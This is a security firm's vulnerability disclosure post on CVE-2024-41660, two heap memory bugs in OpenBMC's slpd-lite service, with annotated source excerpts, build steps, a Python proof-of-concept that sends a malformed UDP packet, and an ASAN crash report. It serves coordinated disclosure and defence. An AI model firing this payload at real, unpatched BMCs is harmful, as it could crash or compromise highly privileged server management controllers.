Skip to main content

CVE-2024-41660: A Critical Vulnerability in OpenBMC

Author
Jon Szymaniak
Principal Consultant
Author
Jameson Hyde
Principal Consultant
Author
Eric Evenchick
Managing Partner
Table of Contents

The OpenBMC Project is a community effort to develop a standard Baseboard Management Controller (BMC) for servers. BMCs allow for remote management of server hardware. They are widely deployed in server hardware to provide monitoring and logging features and tools for out-of-band recovery and maintenance. To allow for management of the server hardware, BMCs are typically highly privileged. As such, it is a security best practice to isolate BMC network interfaces to an isolated management network.

During review of the OpenBMC source code, Tetrel discovered a critical vulnerability in the slpd-lite sub-component. A security advisory has been issued for this vulnerability, and a CVSSv3.1 score of 9.8 / Critical has been assigned. The vulnerability has been assigned CVE ID CVE-2024-41660.

The default OpenBMC build configuration installs and enables the slpd-lite service. OpenBMC builds that do not explicitly disable the service will be vulnerable if the service is not updated to the patched version.

Technical Overview
#

Within the slpd-lite network service running on the BMC, Tetrel identified two memory corruption vulnerabilities in the message handling code. In a typical deployment, successful exploitation of these vulnerabilities would allow an attacker with access to the BMC management network to fully compromise a BMC.

Technical Details
#

This finding pertains to the OpenBMC implementation of slpd-lite. It was observed on the most recent commit at the time of writing.

As shown in the abbreviated BMC console output below, a UDP-based slpd service runs as root and listens on port 427 (svrloc):

root@qemu:~# netstat -lup
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
udp6       0      0 [::]:svrloc             [::]:*                              1280/slpd

root@qemu:~# ps | grep slpd
 1280 root      5516 S    /usr/sbin/slpd

Vulnerability 1: Lack of Language Tag Length Validation Leads to OOB Heap Read
#

The first vulnerability is an out-of-bounds (OOB) read of heap-allocated data. This class of vulnerability has the potential to disclose information to an attacker, such as in-memory secrets or the addresses of code needed to exploit a separate OOB write.

The following code excerpt illustrates how udpsocket::Channel::read() reads data into and resizes a buffer object (a std::vector<uint8_t>).

Note that this buffer size is determined by how many bytes were received in the UDP datagram.

std::tuple<int, buffer> Channel::read()
{
    int rc = 0;
    int readSize = 0;
    ssize_t readDataLen = 0;
    buffer outBuffer(0);
    
    // tetrel: [...snip...]

    outBuffer.resize(readSize);
    auto bufferSize = outBuffer.size();
    auto outputPtr = outBuffer.data();

    address.addrSize = static_cast<socklen_t>(sizeof(address.inAddr));

    do
    {
        readDataLen = recvfrom(sockfd,             // File Descriptor
                               outputPtr,          // Buffer
                               bufferSize,         // Bytes requested
                               0,                  // Flags
                               &address.sockAddr,  // Address
                               &address.addrSize); // Address Length

        // tetrel: [...snip...]

    } while ((readDataLen < 0) && (-(rc) == EINTR));

    // Resize the vector to the actual data read from the socket
    outBuffer.resize(readDataLen);
    return std::make_tuple(rc, std::move(outBuffer));
}

The excerpt below contains part of the parseHeader() method, which creates and returns a Message object from the raw data buffer obtained by udpsocket::Channel::read() above. Observe that the 16-bit langtagLen variable assigned by extracting the Language Tag Length field and then converting it to the host byte-order.

Next, the code attempts to copy the Language Tag string from the raw data buffer into the req.header.langtag string (i.e. a string in the request Message’s Header).

However, observe that in doing so, it fails to first confirm that the amount of remaining data in the raw buffer is actually langtagLen bytes. Since this field is attacker controlled, it could be any value – including one that is much larger than the actual datagram size.

The consequence of this missing check is that the req.header.langtag can be populated with not only the desired Language Tag string, but also arbitrary data that resides after buff.data().

std::tuple<int, Message> parseHeader(const buffer& buff)
{
    Message req{};
    int rc = slp::SUCCESS;

    // tetrel: [...snip...]

    uint16_t langtagLen;

    std::copy_n(buff.data() + slp::header::OFFSET_LANG_LEN,
                slp::header::SIZE_LANG, (uint8_t*)&langtagLen);

    langtagLen = endian::from_network(langtagLen);

    // tetrel: Heap buffer overflow occurs here
    req.header.langtag.insert(
        0, (const char*)buff.data() + slp::header::OFFSET_LANG, langtagLen);

The call path to the affected code is as follows:

requestHandler // main.cpp
    -> udpsocket::Channel::read // sock_channel.cpp
    -> slp::parser::parseBuffer // slp_parser.cpp
        -> slp::internal::parseHeader

Vulnerability 2: Unsigned Integer Wrap of (Unevaluated) Length Field Yields OOB Heap Write
#

The second vulnerability allows an attacker to write outside the bounds of a heap-allocated data structure. Combined with the first vulnerability, this has potential to be exploited in practice.

The code shown below is executed when the slpd server is preparing a response to either of the two request types supported by slpd-lite.

First, make note of the computation of the uint8_t length variable. Here, an unsigned integer wrap can occur because req.header.langtag is actually a std::string. The return value of std::string::length() is a size_t. The actual length of this string is determined by a uint16_t length field in the original request during a preceding call to slp::parser::parseBuffer.

Thus, a 16-bit unsigned value (in a size_t) is added two other values, and then truncated to an unsigned 8-bit value. For many possible length values, the resulting 8-bit value is smaller than that returned by req.header.langtag.length().

buffer prepareHeader(const Message& req)
{
    uint8_t length =
        slp::header::MIN_LEN +        /* 14 bytes for header     */
        req.header.langtag.length() + /* Actual length of lang tag */
        slp::response::SIZE_ERROR;    /*  2 bytes for error code */

    buffer buff(length, 0);

    buff[slp::header::OFFSET_VERSION] = req.header.version;

    // tetrel: [...snip...]

    // tetrel: OOB heap buffer write occurs here
    std::copy_n((uint8_t*)req.header.langtag.c_str(),
                req.header.langtag.length(),
                buff.data() + slp::header::OFFSET_LANG);
    return buff;
}

Next, observe that a zero-filled buffer is allocated with a size argument specified via the 8-bit length value.

At the end of prepareHeader(), the code attempts to copy the Language Tag from the request header into the response header. However, it does so with the actual size_t string length, which can be up to 65535 bytes. The inherent UDP datagram length limits this maximum value to be somewhat smaller. However, it still can be much larger than 255 bytes which will result in an overflow.

As a result, the std::copy_n() write overflows the heap-allocated buffer and corrupts nearby memory. Exploiting heap corruption is well-studied and has potential for an attacker to achieve arbitrary code execution.

The call path to this affected code is as follows:

requestHandler // main.cpp
    -> slp::parser::parseBuffer // slp_parser.cpp - Convert raw data buffer to a Message object
    -> slp::handler::processRequest // slp_message_handler.cpp - Process Message, top-level
        -> slp::handler::internal::processSrvTypeRequest // Process Service Type Request
        OR
        -> slp::handler::internal::processSrvRequest - Process Service Request 
            -> slp::handler::internal::prepareHeader - Prepare response buffer

Reproduction Steps
#

Below is the process used by Tetrel to confirm that heap corruption is possible. This procedure has been tested on Ubuntu 22.04.04 LTS.

1. Install dependencies, if necessary
#

sudo apt install build-essential libsystemd-dev meson clang-15 lld-15

2. Download and Compile slpd-lite with Address Sanitizer (ASAN)
#

The following commands demonstrate how to check out the version of slpd-lite specified in the slpd-lite_git.bb Yocto recipe.

git clone https://github.com/openbmc/slpd-lite
cd slpd-lite
git checkout 55aac8e1bd6fafbbd9dcc8205dabec9c32ca2da4

In order to quickly perform a test without needing to run the vulnerable code as root, edit line 9 of slp_meta.hpp to change the listening port number from 427 to 4427:

constexpr auto PORT = 4427;

Next, setup up the build environment, compile, and run the slpd binary:

CC=clang-15 CXX=clang++-15 CC_LD=lld-15 CXX_LD=lld-15 LDFLAGS=-lasan \
    meson setup build -Db_sanitize=address -Db_lundef=false
cd build
meson compile
./slpd

3. Create and Run Proof-of-Concept Client
#

Copy the following Python script to a poc.py file and run it. Note that this is written to connect to the server on port 4427, rather than the default 427.

#!/usr/bin/env python3
from socket import *

sock = socket(AF_INET, SOCK_DGRAM)
addr = ("127.0.0.1", 4427)
payload = (
        b'\x02' +      # Version
        b'\x09' +      # Function ID: SRVTYPERQST
        b'\x00' * 2 +  # Ignored Length bytes?
        b'\xff' +      # Length
        b'\x00' * 2 +  # Flags
        b'\x00' * 3 +  # Ext
        b'\x00' * 2 +  # XID
        b'\xff' * 2 +  # Language Tag Length
        b'A' * 65000   # Language Tag
)
sock.sendto(payload, addr)

4. Observe Heap Corruption in the ASAN Report
#

Observed that the slpd process crashes and an ASAN report is generated. An example is provided below, which demonstrates that the first vulnerability documented in this finding has been triggered.

==17145==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x63000000fe0e at pc 0x5c87b6c78f47 ...
READ of size 65535 at 0x63000000fe0e thread T0
    #0 0x5c87b6c78f46 in __asan_memcpy (build/slpd+0xe5f46) 
    ...<snip>...
    #6 0x642f6e4d79a0 in std::__cxx11::basic_string<...>::insert(...) .../bits/basic_string.h:1707:22
    #7 0x5c87b6ccdc5b in slp::parser::internal::parseHeader(...) slp_parser.cpp:63:24
    #8 0x5c87b6ccf40c in slp::parser::parseBuffer(...) slp_parser.cpp:240:25
    #9 0x5c87b6cb6ca1 in requestHandler(sd_event_source*, int, unsigned int, void*) main.cpp:33:33
    ...<snip>...

0x63000000fe0e is located 0 bytes to the right of 64014-byte region [0x630000000400,0x63000000fe0e)
    ...<snip>...
    #0 0x5c87b6cb3e9d in operator new(unsigned long) (slpd+0x120e9d)
    ...<snip>...
    #6 0x5c87b6cbf5b5 in std::vector<...>::resize(unsigned long) include/c++/11/bits/stl_vector.h:940:4
    #7 0x5c87b6cd25fd in udpsocket::Channel::read() sock_channel.cpp:36:15
    #8 0x5c87b6cb69f9 in requestHandler(sd_event_source*, int, unsigned int, void*) main.cpp:20:38
    #9 0x72f3ba3a5668  (/lib/x86_64-linux-gnu/libsystemd.so.0+0x73668) 

SUMMARY: AddressSanitizer: heap-buffer-overflow (slpd+0xe5f46) in __asan_memcpy
Shadow bytes around the buggy address:
  0x0c607fff9f70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c607fff9f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c607fff9f90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c607fff9fa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c607fff9fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c607fff9fc0: 00[06]fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c607fff9fd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c607fff9fe0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c607fff9ff0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c607fffa000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c607fffa010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  ...<snip>...

The second vulnerability can instead be triggered by changing the Language Tag Length field to be the following in poc.py.

b'\xfd\xe8' +  # Language Tag Length

Technical Impact
#

Successful exploitation of this vulnerability would allow a network-resident (or remote attacker, depending upon the deployment) to fully compromise a BMC.

Exploitation Conditions
#

To exploit this vulnerability, an attacker would usually require access to the BMC management network.

However, it is unfortunately common for integrators to expose their BMC network services to the internet, hence an argument for an elevated severity for this finding:

Disclosure Timeline
#

  • May 22, 2024 - Tetrel reports issues to the OpenBMC’s security mailing list in the OpenBMC Security Policy
  • May 28, 2024 - slpd-lite developers patch issues
  • July 29, 2024 - OpenBMC publishes advisory and applies patch to the OpenBMC project
  • August 16, 2024 - Tetrel publishes vulnerability details (this post)

Thanks to Andrew Geissler and the OpenBMC Security Response Team for the rapid fix and advisory release!

ASPEED BMC Photo by Phiarc. CC BY-SA 4.0.